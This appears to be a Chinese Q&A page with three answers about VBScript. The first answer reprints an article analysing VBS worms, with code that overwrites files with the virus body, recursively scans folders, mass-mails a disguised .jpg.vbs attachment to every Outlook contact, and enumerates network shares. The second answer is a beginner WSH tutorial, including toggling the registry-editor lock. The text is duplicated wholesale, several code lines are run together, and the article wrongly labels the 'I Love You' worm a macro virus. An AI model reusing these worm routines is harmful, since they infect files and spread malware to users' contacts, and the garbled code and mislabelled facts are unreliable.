3个回答
2013-09-23
展开全部
你好。这是我在网上查找的关于VBS的资料,希望对你有所帮助。VBS脚本病毒是使用VBScript编写。以宏病毒和新欢乐时光病毒为典型代表的VBS脚本病毒十分的猖獗,很重要的一个原因就是其编写简单。
网络的流行,让我们的世界变得更加美好,但它也有让人不愉快的时候。当您收到一封主题为“I Love You”的邮件,用兴奋得几乎快发抖的鼠标去点击附件的时候;当您浏览一个信任的网站之后,发现打开每个文件夹的速度非常慢的时候,您是否察觉病毒已经闯进了您的世界呢?2000年5月4日欧美爆发的“宏病毒”网络蠕虫病毒。由于通过电子邮件系统传播,宏病毒在短短几天内狂袭全球数百万计的电脑。微软、Intel等在内的众多大型企业网络系统瘫痪,全球经济损失达几十亿美元。而去年爆发的新欢乐时光病毒至今都让广大电脑用户更是苦不堪言。
上面提及的两个病毒最大的一个共同特点是:使用VBScript编写。以宏病毒和新欢乐时光病毒为典型代表的VBS脚本病毒十分的猖獗,很重要的一个原因就是其编写简单。下面我们就来逐一对VBS脚本病毒的各个方面加以分析:
一、Vbs脚本病毒的特点及发展现状
VBS病毒是用VB Script编写而成,该脚本语言功能非常强大,它们利用Windows系统的开放性特点,通过调用一些现成的Windows对象、组件,可以直接对文件系统、注册表等进行控制,功能非常强大。应该说病毒就是一种思想,但是这种思想在用VBS实现时变得极其容易。VBS脚本病毒具有如下几个特点:
1.编写简单,一个以前对病毒一无所知的病毒爱好者可以在很短的时间里编出一个新型病毒来。
2.破坏力大。其破坏力不仅表现在对用户系统文件及性能的破坏。他还可以使邮件服务器崩溃,网络发生严重阻塞。
3.感染力强。由于脚本是直接解释执行,并且它不需要像PE病毒那样,需要做复杂的PE文件格式处理,因此这类病毒可以直接通过自我复制的方式感染其他同类文件,并且自我的异常处理变得非常容易。
4.传播范围大。这类病毒通过htm文档,Email附件或其它方式,可以在很短时间内传遍世界各地。
5.病毒源码容易被获取,变种多。由于VBS病毒解释执行,其源代码可读性非常强,即使病毒源码经过加密处理后,其源代码的获取还是比较简单。因此,这类病毒变种比较多,稍微改变一下病毒的结构,或者修改一下特征值,很多杀毒软件可能就无能为力。
6.欺骗性强。脚本病毒为了得到运行机会,往往会采用各种让用户不大注意的手段,譬如,邮件的附件名采用双后缀,如.jpg.vbs,由于系统默认不显示后缀,这样,用户看到这个文件的时候,就会认为它是一个jpg图片文件。
7.使得病毒生产机实现起来非常容易。所谓病毒生产机,就是可以按照用户的意愿,生产病毒的机器(当然,这里指的是程序),目前的病毒生产机,之所以大多数都为脚本病毒生产机,其中最重要的一点还是因为脚本是解释执行的,实现起来非常容易,具体将在我们后面谈及。
正因为以上几个特点,脚本病毒发展异常迅猛,特别是病毒生产机的出现,使得生成新型脚本病毒变得非常容易。
二、Vbs脚本病毒原理分析
1.vbs脚本病毒如何感染、搜索文件
VBS脚本病毒一般是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序的中间,譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部,并在顶部加入一条调用病毒代码的语句,而宏病毒则是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。下面我们通过宏病毒的部分代码具体分析一下这类病毒的感染和搜索原理:
以下是文件感染的部分关键代码:
Set fso=createobject("scripting.filesystemobject")
'创建一个文件系统对象
set self=fso.opentextfile(wscript.scriptfullname,1)
'读打开当前文件(即病毒本身)
vbscopy=self.readall
' 读取病毒全部代码到字符串变量vbscopy……
set ap=fso.opentextfile(目标文件.path,2,true)
' 写打开目标文件,准备写入病毒代码
ap.write vbscopy ' 将病毒代码覆盖目标文件
ap.close
set cop=fso.getfile(目标文件.path) '得到目标文件路径
cop.copy(目标文件.path & ".vbs")
' 创建另外一个病毒文件(以.vbs为后缀)
目标文件.delete(true)
'删除目标文件
上面描述了病毒文件是如何感染正常文件的:首先将病毒自身代码赋给字符串变量vbscopy,然后将这个字符串覆盖写到目标文件,并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本,最后删除目标文件。
下面我们具体分析一下文件搜索代码:
'该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本
sub scan(folder_) 'scan函数定义,
on error resume next '如果出现错误,直接跳过,防止弹出错误窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files ' 当前目录的所有文件集合
for each file in filesext=fso.GetExtensionName(file)
'获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext="mp5" then '如果后缀名是mp5,则进行感染。
请自己建立相应后缀名的文件,最好是非正常后缀名 ,以免破坏正常程序。
Wscript.echo (file)
end ifnextset subfolders=folder_.subfoldersfor each subfolder in subfolders '搜索其他目录;递归调用
scan( ) scan(subfolder)
next
end sub
上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan( )函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。
2.vbs脚本病毒通过网络传播的几种方式及代码分析
VBS脚本病毒之所以传播范围广,主要依赖于它的网络传播功能,一般来说,VBS脚本病毒采用如下几种方式进行传播:
1)通过Email附件传播
这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。
下面我们具体分析一下VBS脚本病毒是如何做到这一点的:
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject("Outlook.Application")
//创建一个OUTLOOK应用的对象
If outlookApp= "Outlook" Then
Set mapiObj=outlookApp.GetNameSpace("MAPI")
//获取MAPI的名字空间
Set addrList= mapiObj.AddressLists
//获取地址表的个数
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count
//获取每个地址表的Email记录数
For addrEntIndex= 1 To addrEntCount
//遍历地址表的Email地址
Set item = outlookApp.CreateItem(0)
//获取一个邮件对象实例
Set addrEnt = addr.AddressEntries(addrEntIndex)
//获取具体Email地址
item.To = addrEnt.Address
//填入收信人地址
item.Subject = "病毒传播实验"
//写入邮件标题
item.Body = "这里是病毒邮件传播测试,收到此信请不要慌张!
" //写入文件内容
Set attachMents=item.Attachments //定义邮件附件
attachMents.Add fileSysObj.GetSpecialFolder(0)&"\test.jpg.vbs"
item.DeleteAfterSubmit = True
//信件提交后自动删除
If item.To <> "" Then
item.Send
//发送邮件
shellObj.regwrite "HKCU\software\Mailtest\mailed", "1"
//病毒标记,以免重复感染
End If
NextEnd IfNext
End if
End Function
2)通过局域网共享传播
局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说,为了局域网内交流方便,一定存在不少共享目录,并且具有可写权限,譬如win2000创建共享时,默认就是具有可写权限。这样病毒通过搜索这些共享目录,就可以将病毒代码传播到这些目录之中。
在VBS中,有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。
welcome_msg = "网络连接搜索测试"
Set WSHNetwork = WScript.CreateObject("WScript.Network")
’创建一个网络对象
Set oPrinters = WshNetwork.EnumPrinterConnections
’创建一个网络打印机连接列表
WScript.Echo "Network printer mappings:"
For i = 0 to oPrinters.Count - 1Step2
’显示网络打印机连接情况
WScript.Echo "Port "&oPrinters.Item(i)
& " = " & oPrinters.Item(i+1)
Next
Set colDrives = WSHNetwork.EnumNetworkDrives
’创建一个网络共享连接列表
If colDrives.Count = 0 Then
MsgBox "没有可列出的驱动器。",
vbInformation + vbOkOnly,welcome_msg
Else
strMsg = "当前网络驱动器连接: " &CRLF
Fori=0To colDrives.Count - 1 Step 2
strMsg = strMsg & Chr(13)&Chr(10)&colDrives(i)
& Chr(9)&colDrives(i+1)
Next
MsgBox strMsg, vbInformation + vbOkOnly,
welcome_msg’显示当前网络驱动器连接
End If
上面是一个用来寻找当前打印机连接和网络共享连接并将它们显示出来的完整脚本程序。在知道了共享连接之后,我们就可以直接向目标驱动器读写文件了。
网络的流行,让我们的世界变得更加美好,但它也有让人不愉快的时候。当您收到一封主题为“I Love You”的邮件,用兴奋得几乎快发抖的鼠标去点击附件的时候;当您浏览一个信任的网站之后,发现打开每个文件夹的速度非常慢的时候,您是否察觉病毒已经闯进了您的世界呢?2000年5月4日欧美爆发的“宏病毒”网络蠕虫病毒。由于通过电子邮件系统传播,宏病毒在短短几天内狂袭全球数百万计的电脑。微软、Intel等在内的众多大型企业网络系统瘫痪,全球经济损失达几十亿美元。而去年爆发的新欢乐时光病毒至今都让广大电脑用户更是苦不堪言。
上面提及的两个病毒最大的一个共同特点是:使用VBScript编写。以宏病毒和新欢乐时光病毒为典型代表的VBS脚本病毒十分的猖獗,很重要的一个原因就是其编写简单。下面我们就来逐一对VBS脚本病毒的各个方面加以分析:
一、Vbs脚本病毒的特点及发展现状
VBS病毒是用VB Script编写而成,该脚本语言功能非常强大,它们利用Windows系统的开放性特点,通过调用一些现成的Windows对象、组件,可以直接对文件系统、注册表等进行控制,功能非常强大。应该说病毒就是一种思想,但是这种思想在用VBS实现时变得极其容易。VBS脚本病毒具有如下几个特点:
1.编写简单,一个以前对病毒一无所知的病毒爱好者可以在很短的时间里编出一个新型病毒来。
2.破坏力大。其破坏力不仅表现在对用户系统文件及性能的破坏。他还可以使邮件服务器崩溃,网络发生严重阻塞。
3.感染力强。由于脚本是直接解释执行,并且它不需要像PE病毒那样,需要做复杂的PE文件格式处理,因此这类病毒可以直接通过自我复制的方式感染其他同类文件,并且自我的异常处理变得非常容易。
4.传播范围大。这类病毒通过htm文档,Email附件或其它方式,可以在很短时间内传遍世界各地。
5.病毒源码容易被获取,变种多。由于VBS病毒解释执行,其源代码可读性非常强,即使病毒源码经过加密处理后,其源代码的获取还是比较简单。因此,这类病毒变种比较多,稍微改变一下病毒的结构,或者修改一下特征值,很多杀毒软件可能就无能为力。
6.欺骗性强。脚本病毒为了得到运行机会,往往会采用各种让用户不大注意的手段,譬如,邮件的附件名采用双后缀,如.jpg.vbs,由于系统默认不显示后缀,这样,用户看到这个文件的时候,就会认为它是一个jpg图片文件。
7.使得病毒生产机实现起来非常容易。所谓病毒生产机,就是可以按照用户的意愿,生产病毒的机器(当然,这里指的是程序),目前的病毒生产机,之所以大多数都为脚本病毒生产机,其中最重要的一点还是因为脚本是解释执行的,实现起来非常容易,具体将在我们后面谈及。
正因为以上几个特点,脚本病毒发展异常迅猛,特别是病毒生产机的出现,使得生成新型脚本病毒变得非常容易。
二、Vbs脚本病毒原理分析
1.vbs脚本病毒如何感染、搜索文件
VBS脚本病毒一般是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序的中间,譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部,并在顶部加入一条调用病毒代码的语句,而宏病毒则是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。下面我们通过宏病毒的部分代码具体分析一下这类病毒的感染和搜索原理:
以下是文件感染的部分关键代码:
Set fso=createobject("scripting.filesystemobject")
'创建一个文件系统对象
set self=fso.opentextfile(wscript.scriptfullname,1)
'读打开当前文件(即病毒本身)
vbscopy=self.readall
' 读取病毒全部代码到字符串变量vbscopy……
set ap=fso.opentextfile(目标文件.path,2,true)
' 写打开目标文件,准备写入病毒代码
ap.write vbscopy ' 将病毒代码覆盖目标文件
ap.close
set cop=fso.getfile(目标文件.path) '得到目标文件路径
cop.copy(目标文件.path & ".vbs")
' 创建另外一个病毒文件(以.vbs为后缀)
目标文件.delete(true)
'删除目标文件
上面描述了病毒文件是如何感染正常文件的:首先将病毒自身代码赋给字符串变量vbscopy,然后将这个字符串覆盖写到目标文件,并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本,最后删除目标文件。
下面我们具体分析一下文件搜索代码:
'该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本
sub scan(folder_) 'scan函数定义,
on error resume next '如果出现错误,直接跳过,防止弹出错误窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files ' 当前目录的所有文件集合
for each file in filesext=fso.GetExtensionName(file)
'获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext="mp5" then '如果后缀名是mp5,则进行感染。
请自己建立相应后缀名的文件,最好是非正常后缀名 ,以免破坏正常程序。
Wscript.echo (file)
end ifnextset subfolders=folder_.subfoldersfor each subfolder in subfolders '搜索其他目录;递归调用
scan( ) scan(subfolder)
next
end sub
上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan( )函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。
2.vbs脚本病毒通过网络传播的几种方式及代码分析
VBS脚本病毒之所以传播范围广,主要依赖于它的网络传播功能,一般来说,VBS脚本病毒采用如下几种方式进行传播:
1)通过Email附件传播
这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。
下面我们具体分析一下VBS脚本病毒是如何做到这一点的:
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject("Outlook.Application")
//创建一个OUTLOOK应用的对象
If outlookApp= "Outlook" Then
Set mapiObj=outlookApp.GetNameSpace("MAPI")
//获取MAPI的名字空间
Set addrList= mapiObj.AddressLists
//获取地址表的个数
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count
//获取每个地址表的Email记录数
For addrEntIndex= 1 To addrEntCount
//遍历地址表的Email地址
Set item = outlookApp.CreateItem(0)
//获取一个邮件对象实例
Set addrEnt = addr.AddressEntries(addrEntIndex)
//获取具体Email地址
item.To = addrEnt.Address
//填入收信人地址
item.Subject = "病毒传播实验"
//写入邮件标题
item.Body = "这里是病毒邮件传播测试,收到此信请不要慌张!
" //写入文件内容
Set attachMents=item.Attachments //定义邮件附件
attachMents.Add fileSysObj.GetSpecialFolder(0)&"\test.jpg.vbs"
item.DeleteAfterSubmit = True
//信件提交后自动删除
If item.To <> "" Then
item.Send
//发送邮件
shellObj.regwrite "HKCU\software\Mailtest\mailed", "1"
//病毒标记,以免重复感染
End If
NextEnd IfNext
End if
End Function
2)通过局域网共享传播
局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说,为了局域网内交流方便,一定存在不少共享目录,并且具有可写权限,譬如win2000创建共享时,默认就是具有可写权限。这样病毒通过搜索这些共享目录,就可以将病毒代码传播到这些目录之中。
在VBS中,有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。
welcome_msg = "网络连接搜索测试"
Set WSHNetwork = WScript.CreateObject("WScript.Network")
’创建一个网络对象
Set oPrinters = WshNetwork.EnumPrinterConnections
’创建一个网络打印机连接列表
WScript.Echo "Network printer mappings:"
For i = 0 to oPrinters.Count - 1Step2
’显示网络打印机连接情况
WScript.Echo "Port "&oPrinters.Item(i)
& " = " & oPrinters.Item(i+1)
Next
Set colDrives = WSHNetwork.EnumNetworkDrives
’创建一个网络共享连接列表
If colDrives.Count = 0 Then
MsgBox "没有可列出的驱动器。",
vbInformation + vbOkOnly,welcome_msg
Else
strMsg = "当前网络驱动器连接: " &CRLF
Fori=0To colDrives.Count - 1 Step 2
strMsg = strMsg & Chr(13)&Chr(10)&colDrives(i)
& Chr(9)&colDrives(i+1)
Next
MsgBox strMsg, vbInformation + vbOkOnly,
welcome_msg’显示当前网络驱动器连接
End If
上面是一个用来寻找当前打印机连接和网络共享连接并将它们显示出来的完整脚本程序。在知道了共享连接之后,我们就可以直接向目标驱动器读写文件了。
2013-09-23
展开全部
windows脚本语言也是一种编程语言,也有自己专门的命令词汇、规范、用法。要只按照自己的要求把命令写进去,那么windows就会直接执行。只不过想对于java c++之类的编程语言它就要简单的多了
windos脚本也有不同的语言 如:VBScritp、JScript 它们都内嵌在windows中,不需要安装,可以直接使用 还有现在比较流行的Python 比较强大的Perl等
windows脚本的最大好处就是用记事本就可以编写,而且可以立即看到效果,还有就是因为其本身就是源代码,拿到就可以随意修改,对于学习来说也更方便
windows脚本宿主,称呼为WSH。它是一个windows管理工具,能给.VBS、.JC等脚本提供一个特殊的外部运行环境。也就是说,当我们运行VBS文件的时候 WHS会为之创建一个对象,平按脚本内的语言指令执行操作。所有的编程软件的第一步都是教给新手们怎么写“Hello World!” 当然我们也不能脱俗了
WScript.Echo "Hello World!" WScript.Echo就是显示,也就是说让电脑为我们显示Hello World!当然了把要显示的句子包括在英文的引号中,要不电脑就会分不清哪些是你要显示的
现在我们提升以下刚刚的显示
如:
Dim xyzcsm '定义变量
xyzcsm = inputBox("请输入你的名字:") '获取用户名字
WScript.echo xyzcsm &",你好!" '要输出的语句(假如显示为我爱你之内,然后打上女/男朋友的名字,不也是一个惊喜么?)'后面就是注释语句 在执行脚本的时候是不会显示的 之是能看得明白点。当然我们多用到的可能是windows脚本读写注册表(反正我比较常用吧)
脚本主要是通过WSH的WshShell对象来读写注册表的。
比如我们注册表被IE恶意代码锁了怎么办 用VBS也可以
Dim xzzcsm
Set xyzcsm = WScript.CreateObject("WScript.Shell")
xyzcsm.Popup "为你解开注册表"
xyzcsm.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",0,"REG_DWORD" 加如改为1就是锁住注册表了。
在HTML中加如VBS
SCRIPT 元素用于将 VBScript 代码添加到 HTML 页面中。
<SCRIPT> 标记
VBScript 代码写在成对的 <SCRIPT> 标记之间。
微软有VBScript语言参考和WSH基础 大家也可以看看
现在防火墙将对创建了WScript.shell对象的脚本 进行阻拦。
网上有不少的VBS源代码有兴趣的朋友 可以多看看
windos脚本也有不同的语言 如:VBScritp、JScript 它们都内嵌在windows中,不需要安装,可以直接使用 还有现在比较流行的Python 比较强大的Perl等
windows脚本的最大好处就是用记事本就可以编写,而且可以立即看到效果,还有就是因为其本身就是源代码,拿到就可以随意修改,对于学习来说也更方便
windows脚本宿主,称呼为WSH。它是一个windows管理工具,能给.VBS、.JC等脚本提供一个特殊的外部运行环境。也就是说,当我们运行VBS文件的时候 WHS会为之创建一个对象,平按脚本内的语言指令执行操作。所有的编程软件的第一步都是教给新手们怎么写“Hello World!” 当然我们也不能脱俗了
WScript.Echo "Hello World!" WScript.Echo就是显示,也就是说让电脑为我们显示Hello World!当然了把要显示的句子包括在英文的引号中,要不电脑就会分不清哪些是你要显示的
现在我们提升以下刚刚的显示
如:
Dim xyzcsm '定义变量
xyzcsm = inputBox("请输入你的名字:") '获取用户名字
WScript.echo xyzcsm &",你好!" '要输出的语句(假如显示为我爱你之内,然后打上女/男朋友的名字,不也是一个惊喜么?)'后面就是注释语句 在执行脚本的时候是不会显示的 之是能看得明白点。当然我们多用到的可能是windows脚本读写注册表(反正我比较常用吧)
脚本主要是通过WSH的WshShell对象来读写注册表的。
比如我们注册表被IE恶意代码锁了怎么办 用VBS也可以
Dim xzzcsm
Set xyzcsm = WScript.CreateObject("WScript.Shell")
xyzcsm.Popup "为你解开注册表"
xyzcsm.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",0,"REG_DWORD" 加如改为1就是锁住注册表了。
在HTML中加如VBS
SCRIPT 元素用于将 VBScript 代码添加到 HTML 页面中。
<SCRIPT> 标记
VBScript 代码写在成对的 <SCRIPT> 标记之间。
微软有VBScript语言参考和WSH基础 大家也可以看看
现在防火墙将对创建了WScript.shell对象的脚本 进行阻拦。
网上有不少的VBS源代码有兴趣的朋友 可以多看看
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
2013-09-23
展开全部
VB写的脚本文件.可以实现一些简单的功能.不知道你说的什么特点.
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询